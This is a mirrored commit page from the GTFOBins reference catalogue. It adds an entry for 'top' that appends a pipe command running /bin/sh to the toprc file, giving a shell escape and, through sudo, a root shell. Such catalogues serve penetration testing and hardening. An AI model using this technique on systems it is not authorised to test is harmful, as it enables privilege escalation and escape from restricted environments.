mirror of
				https://github.com/GTFOBins/GTFOBins.github.io
				synced 2025-11-04 10:48:50 +01:00 
			
		
		
		
	Add shell and sudo for top
This closes #81. Thanks to Chris McCoy (https://github.com/chris-mccoy) for the idea.
This commit is contained in:
		
							
								
								
									
										16
									
								
								_gtfobins/top.md
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										16
									
								
								_gtfobins/top.md
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,16 @@
 | 
			
		||||
---
 | 
			
		||||
description: This requires that an existing configuration file is present, to create one run `top` then type `Wq`. Note down the actual configuration file path and use it in the below examples.
 | 
			
		||||
functions:
 | 
			
		||||
  shell:
 | 
			
		||||
    - code: |
 | 
			
		||||
        echo -e 'pipe\tx\texec /bin/sh 1>&0 2>&0' >>~/.config/procps/toprc
 | 
			
		||||
        top
 | 
			
		||||
        # press return twice
 | 
			
		||||
        reset
 | 
			
		||||
  sudo:
 | 
			
		||||
    - code: |
 | 
			
		||||
        echo -e 'pipe\tx\texec /bin/sh 1>&0 2>&0' >>~/.config/procps/toprc
 | 
			
		||||
        sudo top
 | 
			
		||||
        # press return twice
 | 
			
		||||
        reset
 | 
			
		||||
---
 | 
			
		||||
		Reference in New Issue
	
	Block a user